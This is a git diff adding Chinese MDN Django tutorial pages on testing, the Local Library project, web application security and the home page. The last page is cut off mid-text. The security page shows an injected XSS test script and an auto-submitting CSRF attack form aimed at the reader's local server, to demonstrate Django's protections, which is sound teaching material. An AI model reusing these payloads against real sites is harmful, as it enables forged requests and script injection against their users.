+<h2 id="其他推荐的测试工具">其他推荐的测试工具</h2> + +<p>Django 的测试框架,可以帮助您编写有效的单元和集成测试 - 我们只涉及底层单元测试框架<strong>unittest</strong>可以做什么,而不去谈 Django 的其他部分(例如,查看如何使用<a href="https://docs.python.org/3.5/library/unittest.mock-examples.html">unittest.mock</a> 修补第三方库,以便您可以更彻底地测试自己的代码)。</p> + +<p>虽然您可以使用许多其他测试工具,但我们只重点介绍两个:</p> + +<ul> + <li><a href="http://coverage.readthedocs.io/en/latest/">Coverage</a>: 此Python工具报告您的测试,实际执行了多少代码。当开始使用时,你正试图找出你应该测试的确切内容,它会特别有用。</li> + <li><a href="/en-US/docs/Learn/Tools_and_testing/Cross_browser_testing/Your_own_automation_environment">Selenium</a> 是一个在真实浏览器中,自动化测试的框架。它允许您模拟与站点交互的真实用户,并为系统测试您的站点,提供了一个很好的框架(从集成测试开始的下一步)。</li> +</ul> + +<h2 id="挑战自己">挑战自己</h2> + +<p>有许多模型与视图,我们可以用来测试。比如一个简单的任务,试着为<code>AuthorCreate</code>视图,创造一个测试案例。</p> + +<pre class="brush: python">class AuthorCreate(PermissionRequiredMixin, CreateView): + model = Author + fields = '__all__' + initial={'date_of_death':'12/10/2016',} + permission_required = 'catalog.can_mark_returned'</pre> + +<p>请记住,您需要检查您指定的任何内容、或设计的一部分。这将包括谁有权访问,初始日期,使用的模板,以及视图在成功时,重定向的位置。</p> + +<h2 id="总结">总结</h2> + +<p>撰写测试代码既不有趣也不吸引人,因此在创造一个网站时,经常被留到最后才处理(或者完全不处理)。然而,它是一个基础的部分,以保证你的程式码,在更改之后是安全、可发布的,并且维护起来不会花费太多成本。</p> + +<p>本教程中,我們演示了如何为模型、表单和视图,编写并运行测试。最重要的是,我们已经提供给您,应该测试的内容的简短摘要,这通常是您开始时,最难解决的问题。还有很多东西要知道,但即使你已经学到了什么,你也应该能够为你的网站创建有效的单元测试。</p> + +<p>下一个、也是最后一个教程,展示了如何部署精彩的(并经过全面测试的!)Django网站。</p> + +<h2 id="也可以参考">也可以参考</h2> + +<ul> + <li><a href="https://docs.djangoproject.com/en/2.0/topics/testing/overview/">Writing and running tests</a> (Django docs)</li> + <li><a href="https://docs.djangoproject.com/en/2.0/intro/tutorial05/">Writing your first Django app, part 5 > Introducing automated testing</a> (Django docs)</li> + <li><a href="https://docs.djangoproject.com/en/2.0/topics/testing/tools/">Testing tools reference</a> (Django docs)</li> + <li><a href="https://docs.djangoproject.com/en/2.0/topics/testing/advanced/">Advanced testing topics</a> (Django docs)</li> + <li><a href="http://toastdriven.com/blog/2011/apr/10/guide-to-testing-in-django/">A Guide to Testing in Django</a> (Toast Driven Blog, 2011)</li> + <li><a href="http://test-driven-django-development.readthedocs.io/en/latest/index.html">Workshop: Test-Driven Web Development with Django</a> (San Diego Python, 2014)</li> + <li><a href="https://realpython.com/blog/python/testing-in-django-part-1-best-practices-and-examples/">Testing in Django (Part 1) - Best Practices and Examples</a> (RealPython, 2013)</li> +</ul> + +<p>{{PreviousMenuNext("Learn/Server-side/Django/Forms", "Learn/Server-side/Django/Deployment", "Learn/Server-side/Django")}}</p> + +<p> </p> + +<h2 id="本系列教程">本系列教程</h2> + +<ul> + <li><a href="/en-US/docs/Learn/Server-side/Django/Introduction">Django introduction</a></li> + <li><a href="/en-US/docs/Learn/Server-side/Django/development_environment">Setting up a Django development environment</a></li> + <li><a href="/en-US/docs/Learn/Server-side/Django/Tutorial_local_library_website">Django Tutorial: The Local Library website</a></li> + <li><a href="/en-US/docs/Learn/Server-side/Django/skeleton_website">Django Tutorial Part 2: Creating a skeleton website</a></li> + <li><a href="/en-US/docs/Learn/Server-side/Django/Models">Django Tutorial Part 3: Using models</a></li> + <li><a href="/en-US/docs/Learn/Server-side/Django/Admin_site">Django Tutorial Part 4: Django admin site</a></li> + <li><a href="/en-US/docs/Learn/Server-side/Django/Home_page">Django Tutorial Part 5: Creating our home page</a></li> + <li><a href="/en-US/docs/Learn/Server-side/Django/Generic_views">Django Tutorial Part 6: Generic list and detail views</a></li> + <li><a href="/en-US/docs/Learn/Server-side/Django/Sessions">Django Tutorial Part 7: Sessions framework</a></li> + <li><a href="/en-US/docs/Learn/Server-side/Django/Authentication">Django Tutorial Part 8: User authentication and permissions</a></li> + <li><a href="/en-US/docs/Learn/Server-side/Django/Forms">Django Tutorial Part 9: Working with forms</a></li> + <li><a href="/en-US/docs/Learn/Server-side/Django/Testing">Django Tutorial Part 10: Testing a Django web application</a></li> + <li><a href="/en-US/docs/Learn/Server-side/Django/Deployment">Django Tutorial Part 11: Deploying Django to production</a></li> + <li><a href="/en-US/docs/Learn/Server-side/Django/web_application_security">Django web application security</a></li> + <li><a href="/en-US/docs/Learn/Server-side/Django/django_assessment_blog">DIY Django mini blog</a></li> +</ul> + +<p> </p> diff --git a/files/zh-cn/learn/server-side/django/tutorial_local_library_website/index.html b/files/zh-cn/learn/server-side/django/tutorial_local_library_website/index.html new file mode 100644 index 0000000000..5b2a54fc9e --- /dev/null +++ b/files/zh-cn/learn/server-side/django/tutorial_local_library_website/index.html @@ -0,0 +1,70 @@ +--- +title: 'Django Tutorial: The Local Library website' +slug: learn/Server-side/Django/Tutorial_local_library_website +translation_of: Learn/Server-side/Django/Tutorial_local_library_website +--- +<div>{{LearnSidebar}}</div> + +<div>{{PreviousMenuNext("Learn/Server-side/Django/development_environment", "Learn/Server-side/Django/skeleton_website", "Learn/Server-side/Django")}}</div> + +<p class="summary">我们实战教程系列的第一篇教程会解释你将学到什么。并提供一个“本地图书馆”的例子作为概述。在接下来的教程里,我们会不断完善和改进这个网站。</p> + +<table class="learn-box standard-table"> + <tbody> + <tr> + <th scope="row">前提:</th> + <td>阅读 <a href="/en-US/docs/Learn/Server-side/Django/Introduction">Django介绍</a>。在接下来的文章里你需要 <a href="/en-US/docs/Learn/Server-side/Django/development_environment">创建Django开发环境</a>. </td> + </tr> + <tr> + <th scope="row">目标:</th> + <td>介绍教程里使用的网站应用,让读者明白要讨论的主题。</td> + </tr> + </tbody> +</table> + +<h2 id="概述">概述</h2> + +<p>欢迎来到MDN的”本地图书馆“Django教程。在教程里,我们会开发一个网站,用来管理本地图书馆的目录。</p> + +<p>在这一系列的教程里你将:</p> + +<ul> + <li>运用Django的工具创建网站和应用的框架。</li> + <li>启动和停止开发用的服务器。</li> + <li>创建模型(models)用来代表应用里的数据。</li> + <li>运用Django的admin站点填充网站数据。</li> + <li>面对不同的网络请求,创建视图函数(views)取回相应的数据。并把数据用模板(templates )渲染成HTML展示在浏览器里。</li> + <li>创建网络分发器,将不同的URL模式分发给特定的视图函数(views)。</li> + <li>添加用户认证和会话(sessions)管理网站行为和进入权限。</li> + <li>使用表单。</li> + <li>为应用编写测试。</li> + <li>有效运用Django的安全系统。</li> + <li>把应用布置到生产环境中。</li> +</ul> + +<p>关于这些主题,你已经学会了一些,并对其他的也有了简单的了解。在这系列教程的最后,你会学到足够多而可以自己开发简单的Django应用了。</p> + +<h2 id="本地图书馆网站">本地图书馆网站</h2> + +<p><em>本地图书馆</em>是我们在本系列教程里创建和不断改善的网站。跟你期望的一样,这个网站的目标是为一个小型的图书馆提供一个在线的目录。在这个小型图书管里,用户能浏览书籍和管理他们的账户。</p> + +<p>这个例子是精心挑选出来的,因为它可以根据我们的需要增加或多或少的细节。也能用来展示几乎所有的Django特性。更重要的是,它提供了一条指南式的路线,在这条路线中,我们会用到Django网络框架最重要的功能:</p> + +<ul> + <li>在第一篇教程里,我们会定义一个简单到只能浏览的图书馆。图书馆的会员可以查找哪些书可以借阅。我们得以探索那些几乎所有网站都会运用的操作:阅读和展示数据库里的内容。</li> + <li>接下来,图书馆会慢慢扩展来展示更高级的Django特性。例如,我们会扩展功能,让会员能够保留图书。这个特性会展示如何使用表单,并支持用户认证。</li> +</ul> + +<p>尽管这是一个非常容易扩展的例子,它被称为本地图书馆是有原因的——我们希望用最少的信息帮助你快速创建和运用Django。最后,我们会存储图书信息,图书数量,作者和其他重要信息。我们不会存储图书馆可能会存储的其他信息,或是提供一个支持多个图书馆或是”大型图书馆“功能的构建。</p> + +<h2 id="我卡住了,从哪里获得源代码呢?">我卡住了,从哪里获得源代码呢?</h2> + +<p>在学习本系列教程时,我们会提供合适的代码片段,你可以粘贴复制,但是有些代码我们希望你能自己扩展(在提示下)。</p> + +<p>如果你卡在某个地方,你可以在<a href="https://github.com/mdn/django-locallibrary-tutorial">Github</a>里找到网站的完整代码。I</p> + +<h2 id="总结">总结</h2> + +<p>现在你对本地图书馆网站有了一些了解并知道你会学到什么。是时候创建我们例子会用到的<a href="/en-US/docs/Learn/Server-side/Django/skeleton_website">网站框架</a>了。</p> + +<p>{{PreviousMenuNext("Learn/Server-side/Django/development_environment", "Learn/Server-side/Django/skeleton_website", "Learn/Server-side/Django")}}</p> diff --git a/files/zh-cn/learn/server-side/django/web_application_security/index.html b/files/zh-cn/learn/server-side/django/web_application_security/index.html new file mode 100644 index 0000000000..fa0664bb33 --- /dev/null +++ b/files/zh-cn/learn/server-side/django/web_application_security/index.html @@ -0,0 +1,180 @@ +--- +title: Django Web应用安全 +slug: learn/Server-side/Django/web_application_security +translation_of: Learn/Server-side/Django/web_application_security +--- +<div>{{LearnSidebar}}</div> + +<div>{{PreviousMenuNext("Learn/Server-side/Django/Deployment", "Learn/Server-side/Django/django_assessment_blog", "Learn/Server-side/Django")}}</div> + +<p class="summary">保<font><font>护用户数据是任何网站设计的重要部分。</font><font>我们之前在文章<a href="https://developer.mozilla.org/en-US/docs/Web/Security">web安全</a>中</font></font><font><font>解释了一些更常见的安全威胁--</font><font>本文提供了Django的内置保护如何处理这些威胁的实际演示</font></font>。</p> + +<table class="learn-box standard-table"> + <tbody> + <tr> + <th scope="row">前提:</th> + <td>阅读服务器端网页编程中的 "<a href="https://developer.mozilla.org/zh-CN/docs/learn/Server-side/First_steps/Website_security">Website security</a>" 主题。并请至少完成Django Web框架教程 <a href="https://developer.mozilla.org/zh-CN/docs/Learn/Server-side/Django/Forms">Django Tutorial Part 9: 使用表单</a> 及以前的教程。</td> + </tr> + <tr> + <th scope="row">目标:</th> + <td>理解保障Django网站安全应该(和不应该)做的事情。</td> + </tr> + </tbody> +</table> + +<h2 id="概述">概述</h2> + +<p><a href="https://developer.mozilla.org/zh-CN/docs/Web/Security">web安全</a><a href="https://developer.mozilla.org/en-US/docs/Web/Security"> </a>主題提供一个概述,说明了网站安全对于服务器端设计的意义,以及以及一些需要应对的常见威胁。本文中包含一个关键的概念:如果网站信任任何来自浏览器的数据,几乎所有的攻击方法都会成功。</p> + +<div class="warning"> +<p><strong>重要提示:</strong> 切记,对于网站安全来说最重要一点就是<strong>“永远不要相信浏览器端提交的数据”</strong>。 这些数据包括使用<code>GET</code>方式请求时URL中的参数,<code>POST</code> 方式请求的数据,HTTP headers 和 cookies,以及用户上传的文件等等. 请确保一定要检查和清洗这些提交的数据。对于网站安全来说,总是要做好最坏的打算。</p> +</div> + +<p>对Django用户来说,好消息是Django框架已经处理了大量的常见威胁。请阅读Django官方文档中的"<a href="https://docs.djangoproject.com/en/2.0/topics/security/">Security in Django</a>"部分来了解Django的安全细节,以及如何确保基于Django的网站的安全。</p> + +<h2 id="常见威胁及保护">常见威胁及保护</h2> + +<p>在本文中,我们将使用前面章节中的“<a href="https://developer.mozilla.org/zh-CN/docs/learn/Server-side/Django/Tutorial_local_library_website">本地图书馆</a>”项目作为示范来演示一些Django的安全特性。</p> + +<h3 id="跨站脚本_(XSS)">跨站脚本 (XSS)</h3> + +<p>XSS(英语:Cross site scripting,通常简称:XSS)是指一类恶意攻击者将代码通过网站注入到其他用户浏览器中的攻击方式。一般攻击者会把恶意代码作为普通数据放入到网站数据库中,这样其他用户在获取和展示数据的过程中就会受到攻击。此外,攻击者还可以通过引诱用户点击某些链接来执行恶意的JavaScript代码。</p> + +<p>Django的模板系统可以帮您抵挡大部分的XSS攻击,实现的方式在于转义对于HTML来说比较<strong>“危险”</strong>的特殊字符(可参考官方文档:<a href="https://docs.djangoproject.com/en/2.0/ref/templates/language/#automatic-html-escaping">escaping specific characters</a>)。现在,我们用<a href="https://developer.mozilla.org/zh-CN/docs/learn/Server-side/Django/Forms">Django Tutorial Part 9: Working with forms</a> 这一章中的“创建作者”表单来做个演示,尝试向我们的本地图书馆网站注入一些JavaScript脚本。</p> + +<ol> + <li>使用开发服务器启动网站(参考命令:<code>python3 manage.py runserver</code>)。</li> + <li>在浏览器中打开网站,并用超级用户身份登录。</li> + <li>进入创建作者页面 (地址可能会是:<code><a href="http://127.0.0.1:8000/catalog/author/create/">http://127.0.0.1:8000/catalog/author/create/</a></code>)。</li> + <li>输入姓名、生日等信息,随后在Last Name这个字段里面填入以下的内容:<br> + <code><script>alert('Test alert');</script></code><br> + <img alt="Author Form XSS test" src="https://mdn.mozillademos.org/files/14305/author_create_form_alert_xss.png" style="border-style: solid; border-width: 1px; height: 245px; width: 594px;"> + <div class="note"> + <p><strong>注意:</strong> 这一段代码并没有任何杀伤力,在执行的时候只会在浏览器中弹出一个警告提示框。如果这个警告提示框出现,则表明本网站存在可被XSS攻击的漏洞。</p> + </div> + </li> + <li>点击 <strong>Submit</strong> 按钮保存信息。</li> + <li>保存后的作者信息将会显示为下图的样式。因为XSS防护措施的存在,注入代码中的<code>alert()</code>部分并没有执行,而只是用文本的方式直接显示了出来。<img alt="Author detail view XSS test" src="https://mdn.mozillademos.org/files/14307/author_detail_alert_xss.png" style="border-style: solid; border-width: 1px; height: 248px; width: 986px;"></li> +</ol> + +<p>如果你有兴趣阅读下页面的HTML源码,则会发现危险的字符已被转义成了无害的字符(例如: <code>></code> 被转义为了 <code>&gt;</code> )</p> + +<pre class="brush: html"><h1>Author: Boon&lt;script&gt;alert(&#39;Test alert&#39;);&lt;/script&gt;, David (Boonie) </h1> +</pre> + +<p>Django的模板系统可以帮助抵御大部分的XSS攻击。当然,XSS保护功能也可以被关闭,而且XSS保护一般对非用户输入的内容不会自动进行防护(例如表单中字段的<code>help_text</code>通常不会是用户提交的,所以这部分数据Django也不会进行转义)</p> + +<p>XSS攻击也可能来自于其他不可信的数据来源,例如cookies,Web服务或上传的文件(实际上只要是未经清洗的数据直接展示出来都会有被攻击的可能)。如果你要显示这些不可信来源的数据,切记一定要自己做好数据清洗的工作。</p> + +<h3 id="防护跨站请求伪造_(CSRF)">防护跨站请求伪造 (CSRF) </h3> + +<p>CSRF(英语:Cross-site request forgery,通常简称:CSRF或XSRF)攻击可以让恶意攻击者在用户不知情的情况下,使用用户的身份来进行系统操作。举个例子,现在有一名黑客想要在我们的本地图书馆中添加一些作者信息。</p> + +<div class="note"> +<p><strong>注意:这个示例里面的黑客没有考虑对钱下手。而现实生活中的黑客则极有可能会产生更加危险的操作(例如,把钱转入他们自己的账户中等等)。</strong></p> +</div> + +<p>为了实现这个目的,黑客可以创建一个类似于下面示例的HTML文件,这个文件包含了一个创建作者的表单(类似我们在之前章节中用过的),并且一旦加载完毕就会立即进行提交。随后黑客可以将这个文件发送至所有的图书管理员,并且引诱他们打开这个文件(文件中真的没有啥有害的信息)。如果任何一个已登录的图书管理员不慎打开了这个文件,那么文件中的表单就会利用图书管理员的身份来提交,随后就会创建出一个新的作者来。</p> + +<pre class="brush: html"><html> +<body onload='document.EvilForm.submit()'> + +<form action="http://127.0.0.1:8000/catalog/author/create/" method="post" name='EvilForm'> + <table> + <tr><th><label for="id_first_name">First name:</label></th><td><input id="id_first_name" maxlength="100" name="first_name" type="text" value="Mad" required /></td></tr> + <tr><th><label for="id_last_name">Last name:</label></th><td><input id="id_last_name" maxlength="100" name="last_name" type="text" value="Man" required /></td></tr> + <tr><th><label for="id_date_of_birth">Date of birth:</label></th><td><input id="id_date_of_birth" name="date_of_birth" type="text" /></td></tr> + <tr><th><label for="id_date_of_death">Died:</label></th><td><input id="id_date_of_death" name="date_of_death" type="text" value="12/10/2016" /></td></tr> + </table> + <input type="submit" value="Submit" /> +</form> + +</body> +</html> +</pre> + +<p>运行Django开发服务器,然后使用超级管理员账号进行登录。将上面的代码贴到一个文件中,并在浏览器中打开这个文件,随后你就会看到一个CSRF错误,这是因为Django的安全机制防护了此类的攻击。</p> + +<p>在表单定义的时候加入 <code>{% csrf_token %} </code>这个模板标签, CSRF保护功能即可启用。在模板渲染的时候,这个token在 HTML代码中将会按照下面的格式显示,包含了一个与当前用户和当前浏览器关联的值。</p> + +<pre class="brush: html"><input type='hidden' name='csrfmiddlewaretoken' value='0QRWHnYVg776y2l66mcvZqp8alrv4lb8S8lZ4ZJUWGZFA5VHrVfL2mpH29YZ39PW' /> +</pre> + +<p>Django生成这个用户/浏览器关联key的目的在于可以据此来拒绝那些不包含这个key的表单请求,也可以拒绝那些包含了错误了用户/浏览器关联key的表单请求。</p> + +<p>有了这种保护机制后,攻击者要发起攻击就需要找到目标用户的CSRF key。通过广撒网给所有的图书管理员发送恶意代码文件的方式也很难奏效,因为CSRF key是和浏览器相关联的。</p> + +<p>Django的CSRF防御默认是开启的。一定要在表单的位置使用 <code>{% csrf_token %}</code>这个标签,同时,切记使用<code>POST</code>方式来发起新增和更新数据的请求。</p> + +<h3 id="其他防护措施">其他防护措施</h3> + +<p>Django还提供了很多其他形式的防护措施 (大部分不是很容易进行演示):</p> + +<dl> + <dt>SQL注入防护</dt> + <dd>SQL注入漏洞可以让攻击者直接对网站数据库执行构造好的SQL语句,在无需用户权限的情况下即可实现对数据的访问、修改甚至是删除。绝大多数的情况下,使用Django的查询集/模型直接进行数据库访问时,实际使用的SQL语句已经被底层的数据库驱动妥善地进行了转义。如果必须要直接执行自定义的SQL语句,那么也请一定要注意防范SQL注入的问题。</dd> + <dt>点击劫持防护</dt> + <dd>点击劫持是指攻击者通过诱导用户,用户本意要访问A网站,最终却访问到了B网站。举例说明,攻击者可以给用户显示一个合法的银行网站,同时把用户名密码登录框改为不可见的<a href="https://developer.mozilla.org/en-US/docs/Web/HTML/Element/iframe"><iframe> </a>标签,以此来窃取用户的登录信息。Django通过 <code><a href="https://docs.djangoproject.com/en/2.0/ref/middleware/#django.middleware.clickjacking.XFrameOptionsMiddleware" title="django.middleware.clickjacking.XFrameOptionsMiddleware">X-Frame-Options</a></code>中间件来防御点击劫持攻击,在支持的浏览器中,这种方式可以避免网站在iframe中显示。</dd> + <dt>强制SSL/HTTPS</dt> + <dd>web服务器可通过启用SSL/HTTPS来加密网站和浏览器之间的所有通信流量,包括了身份认证及其他通过纯文本方式来发送的数据流量(强烈建议启用HTTPS)。如果HTTPS已启用,Django还提供了一起实用的保护措施:</dd> +</dl> + +<ul> + <li><a href="https://docs.djangoproject.com/en/2.0/ref/settings/#std:setting-SECURE_PROXY_SSL_HEADER"><code>SECURE_PROXY_SSL_HEADER</code></a> 设置可以用于检查内容是否安全,可用于代理和Django之间使用非HTTPS方式通讯的情况下。</li> + <li><a href="https://docs.djangoproject.com/en/2.0/ref/settings/#std:setting-SECURE_SSL_REDIRECT"><code>SECURE_SSL_REDIRECT</code></a> 可以将所有HTTP的请求重定向到HTTPS。</li> + <li>使用 <a href="https://docs.djangoproject.com/en/2.0/ref/middleware/#http-strict-transport-security">HTTP Strict Transport Security</a> (HSTS) 头来通知浏览器未来与此网站的连接仅使用HTTPS。与HTTP连接重定向至HTTPS的配置相结合后,HSTS可以确保之后的连接强制使用HTTPS。HSTS还有 <code><a href="https://docs.djangoproject.com/en/2.0/ref/settings/#std:setting-SECURE_HSTS_SECONDS">SECURE_HSTS_SECOND</a></code>和 <a href="https://docs.djangoproject.com/en/2.0/ref/settings/#std:setting-SECURE_HSTS_INCLUDE_SUBDOMAINS"><code>SECURE_HSTS_INCLUDE_SUBDOMAINS</code></a> 等选项可以进行配置。</li> + <li>将 <a href="https://docs.djangoproject.com/en/2.0/ref/settings/#std:setting-SESSION_COOKIE_SECURE"><code>SESSION_COOKIE_SECURE</code></a> 和 <a href="https://docs.djangoproject.com/en/2.0/ref/settings/#std:setting-CSRF_COOKIE_SECURE"><code>CSRF_COOKIE_SECURE</code></a> 设置为 <code>True</code>。这些配置将确保session和csrf的cookie仅使用HTTPS连接来发送。</li> +</ul> + +<dl> + <dt>Host头校验</dt> + <dd>使用 <code><a href="https://docs.djangoproject.com/en/2.0/ref/settings/#std:setting-ALLOWED_HOSTS">ALLOWED_HOSTS</a></code> 配置仅接受由信任的host发起的请求。</dd> +</dl> + +<p>还有很多其他的安全措施及使用这些安全措施的注意事项我们没有提到。我们这里仅仅提供了Django安全措施的一个概览,更多的信息请参阅Django官方安全文档。</p> + +<ul> +</ul> + +<h2 id="总结">总结</h2> + +<p>Django具备有效的防护措施,以对抗一些常見的威胁,包括 XSS 和 CSRF 攻击。本文中,我们已经使用本地图书馆网站来了演示Django如何处理一些特定的攻击。我们也提供了关于其它保护措施的简单概述。</p> + +<p>但这仅仅是对网站安全的一个入门。我们强烈建议您阅读 <a href="https://docs.djangoproject.com/en/2.0/topics/security/">Django中的安全</a> 以获得更加深入的理解。</p> + +<p>本Django教程的下一步,也是最后一步,是完成 <a href="https://developer.mozilla.org/zh-CN/docs/Learn/Server-side/Django/django_assessment_blog">评估任务</a>。</p> + +<h2 id="参阅">参阅</h2> + +<ul> + <li><a href="https://docs.djangoproject.com/en/2.0/topics/security/">Security in Django</a> (Django官方文档)</li> + <li><a href="https://developer.mozilla.org/en-US/docs/Web/Security">Server side website security</a> (MDN)</li> + <li><a href="https://developer.mozilla.org/en-US/docs/Web/Security">Web security</a> (MDN)</li> + <li><a href="/en-US/docs/Web/Security/Securing_your_site">Securing your site</a> (MDN)</li> +</ul> + +<p>{{PreviousMenuNext("Learn/Server-side/Django/Deployment", "Learn/Server-side/Django/django_assessment_blog", "Learn/Server-side/Django")}}</p> + +<p> </p> + +<h2 id="In_this_module">In this module</h2> + +<ul> + <li><a href="/en-US/docs/Learn/Server-side/Django/Introduction">Django introduction</a></li> + <li><a href="/en-US/docs/Learn/Server-side/Django/development_environment">Setting up a Django development environment</a></li> + <li><a href="/en-US/docs/Learn/Server-side/Django/Tutorial_local_library_website">Django Tutorial: The Local Library website</a></li> + <li><a href="/en-US/docs/Learn/Server-side/Django/skeleton_website">Django Tutorial Part 2: Creating a skeleton website</a></li> + <li><a href="/en-US/docs/Learn/Server-side/Django/Models">Django Tutorial Part 3: Using models</a></li> + <li><a href="/en-US/docs/Learn/Server-side/Django/Admin_site">Django Tutorial Part 4: Django admin site</a></li> + <li><a href="/en-US/docs/Learn/Server-side/Django/Home_page">Django Tutorial Part 5: Creating our home page</a></li> + <li><a href="/en-US/docs/Learn/Server-side/Django/Generic_views">Django Tutorial Part 6: Generic list and detail views</a></li> + <li><a href="/en-US/docs/Learn/Server-side/Django/Sessions">Django Tutorial Part 7: Sessions framework</a></li> + <li><a href="/en-US/docs/Learn/Server-side/Django/Authentication">Django Tutorial Part 8: User authentication and permissions</a></li> + <li><a href="/en-US/docs/Learn/Server-side/Django/Forms">Django Tutorial Part 9: Working with forms</a></li> + <li><a href="/en-US/docs/Learn/Server-side/Django/Testing">Django Tutorial Part 10: Testing a Django web application</a></li> + <li><a href="/en-US/docs/Learn/Server-side/Django/Deployment">Django Tutorial Part 11: Deploying Django to production</a></li> + <li><a href="/en-US/docs/Learn/Server-side/Django/web_application_security">Django web application security</a></li> + <li><a href="/en-US/docs/Learn/Server-side/Django/django_assessment_blog">DIY Django mini blog</a></li> +</ul> + +<p> </p> diff --git a/files/zh-cn/learn/server-side/django/主页构建/index.html b/files/zh-cn/learn/server-side/django/主页构建/index.html new file mode 100644 index 0000000000..0527ba8731 --- /dev/null +++ b/files/zh-cn/learn/server-side/django/主页构建/index.html @@ -0,0 +1,358 @@ +--- +title: 'Django Tutorial Part 5: 主页构建' +slug: learn/Server-side/Django/主页构建 +translation_of: Learn/Server-side/Django/Home_page +--- +<div>{{LearnSidebar}}</div> + +<div>{{PreviousMenuNext("Learn/Server-side/Django/Admin_site", "Learn/Server-side/Django/Generic_views", "Learn/Server-side/Django")}}</div> + +<p class="summary"> 我们现在可以添加代码来显示我们的第一个完整页面 - <a href="https://developer.mozilla.org/en-US/docs/Learn/Server-side/Django/Tutorial_local_library_website">LocalLibrary</a> 网站的主页,显示每个模型类型有多少条记录,并提供我们其他页面的侧边栏导航链接。一路上,我们将获得编写基本URL地图和视图,从数据库获取记录以及使用模板的实践经验。</p> + +<table class="learn-box standard-table"> + <tbody> + <tr> + <th scope="row">前提:</th> + <td>读 the <a href="/en-US/docs/Learn/Server-side/Django/Introduction">Django Introduction</a>. 完成上章节 (including <a href="/zh-CN/docs/Learn/Server-side/Django/Admin_site">Django Tutorial Part 4: Django admin site</a>).</td> + </tr> + <tr> + <th scope="row">目的:</th> + <td>了解如何创建简单的URL映射和视图(没有数据编码在URL中)以及如何从模型中获取数据并创建模版。</td> + </tr> + </tbody> +</table> + +<h2 id="概要">概要</h2> + +<p>现在我们已经定义了我们的模型,并创建了一些初始库记录来处理,现在是编写代码以向用户呈现该信息的时候了。我们需要做的第一件事是确定我们希望能够在我们的页面中显示哪些信息,然后为返回这些资源定义适当的URL。那么我们将需要创建一个url映射器,视图和模板来显示这些页面。</p> + +<p>以下图表提供了处理HTTP请求/响应时需要实现的数据和事情的主要流程。我们已经创建了这个模型,我们需要创建的主要内容是:</p> + +<ul> + <li>URL映射-根据-支持的URL(以及任何编码在URL里的信息)跳转到相应的<strong>View</strong>功能函数。</li> + <li><strong>View</strong> 函数从模型中获取请求的数据,创建一个显示数据的HTML页面,并将其返回给用户在浏览器查看。</li> + <li><strong>Templates</strong> 在View视图中进行数据渲染的时候使用。</li> +</ul> + +<p><img alt="" src="https://mdn.mozillademos.org/files/13931/basic-django.png" style="display: block; margin: 0px auto;"></p> + +<p>正如你将在下一节中看到的,我们将要显示5个页面,这在一篇文章中是很重要的。因此,本文的大部分内容将重点介绍如何实现主页(我们将在随后的文章中介绍其他页面)。这应该让您对URL映射器,视图和模型在实践中如何工作有一个很好的端到端的了解。</p> + +<h2 id="定义资源URL">定义资源URL</h2> + +<p>由于本版本的LocalLibrary对于最终用户本质上是只读的,所以我们只需要为该网站(主页)提供一个着陆页,以及显示书籍和作者的列表和详细视图的页面。</p> + +<p>下面这些URL 是我们页面需要的:</p> + +<ul> + <li><code>catalog/</code> — 主页</li> + <li><code>catalog/books/</code> — 书单页</li> + <li><code>catalog/authors/</code> — 作者页</li> + <li><code>catalog/book/<em><id></em></code> — 主键字段 ID的具体书(默认) —详细视图。如下例子 <code>/catalog/book/3</code>,第三本书。</li> + <li><code>catalog/author/<em><id></em></code><em> </em>— 主键字段 ID的具体作者(默认) —详细视图。如下例子 <code>/catalog/author/11</code>,第11个作者。</li> +</ul> + +<p>前三个URL用于列出索引,书籍和作者。这些不会对任何附加信息进行编码,而返回的结果将取决于数据库中的内容,运行获取信息的查询将始终保持一致。</p> + +<p>相比之下,最后两个URL用于显示有关特定书籍或作者的详细信息 - 这些URL将编码要显示在URL中的项目的标识(如上所示<id>)。URL映射器可以提取编码信息并将其传递给视图,然后将动态地确定从数据库获取哪些信息。通过对我们的URL中的信息进行编码,我们只需要一个URL映射,视图和模板来处理每本书(或作者)。</p> + +<div class="note"> +<p><strong style='background-color: #fff3d4; border: 0px; color: #333333; font-family: x-locale-heading-primary,zillaslab,Palatino,"Palatino Linotype",x-locale-heading-secondary,serif; font-size: 18px; font-style: normal; font-weight: 700; letter-spacing: normal; margin: 0px; padding: 0px; text-align: start; text-decoration-style: initial; text-indent: 0px; text-transform: none; white-space: normal;'><font><font>注意</font></font></strong><font><font>:Django允许您以任何您喜欢的方式构建您的URL - 您可以如上所示编码URL正文中的信息,或使用URL<span> </span></font></font><code style='margin: 0px; padding: 0px; border: 0px; font-style: normal; font-weight: normal; font-family: consolas, "Liberation Mono", courier, monospace; word-wrap: break-word; color: rgb(51, 51, 51); font-size: 18px; letter-spacing: normal; text-align: start; text-indent: 0px; text-transform: none; white-space: normal; background-color: rgb(255, 243, 212); text-decoration-style: initial;'>GET</code><font><font>参数(例如 <span> </span></font></font><code style='margin: 0px; padding: 0px; border: 0px; font-style: normal; font-weight: normal; font-family: consolas, "Liberation Mono", courier, monospace; word-wrap: break-word; color: rgb(51, 51, 51); font-size: 18px; letter-spacing: normal; text-align: start; text-indent: 0px; text-transform: none; white-space: normal; background-color: rgb(255, 243, 212); text-decoration-style: initial;'>/book/?id=6</code><font><font>)。</font><font>无论您使用哪种方法,URL都应保持清洁,逻辑和可读性</font></font> (<a href="https://www.w3.org/Provider/Style/URI">check out the W3C advice here</a>).<br> + <br> + <font><font>Django文档倾向于在URL的主体中推荐编码信息,这是他们觉得鼓励更好的URL设计的实践。</font></font></p> +</div> + +<p>如概述,本文其余部分介绍如何构建索引页</p> + +<h2 id="创建索引页">创建索引页</h2> + +<p>我们创建的第一个页面将会是索引页(catalog/)。这会显示一些静态HTML,以及数据库中不同记录的一些计算的“计数“。为了使其工作,我们必须创建一个URL映射,视图和模版。</p> + +<div class="note"> +<p><strong>注意</strong>: 本节应该特别注意。一些”材料“在所有页面都通用。</p> +</div> + +<h3 id="URL_映射">URL 映射</h3> + +<p>在我们创建的<a href="/en-US/docs/Learn/Server-side/Django/skeleton_website">基础网站</a>上,更新 <strong>/locallibrary/urls.py</strong> 文件。以确保每当收到以<code><strong>catalog/</strong></code>开头的URL时,URLConf模块中的<font face="consolas, Liberation Mono, courier, monospace"><span style="background-color: rgba(220, 220, 220, 0.5);"><strong>catalog.urls</strong></span></font> 会处理剩余的字符串。</p> + +<p>打开 catalog/<strong>urls.py</strong> ,复制下面代码</p> + +<pre class="brush: python">urlpatterns = [ +<strong> path('', views.index, name='index'),</strong> +]</pre> + +<p>如果检测到URL模式'',(views.index——在view.py中函数命名index() 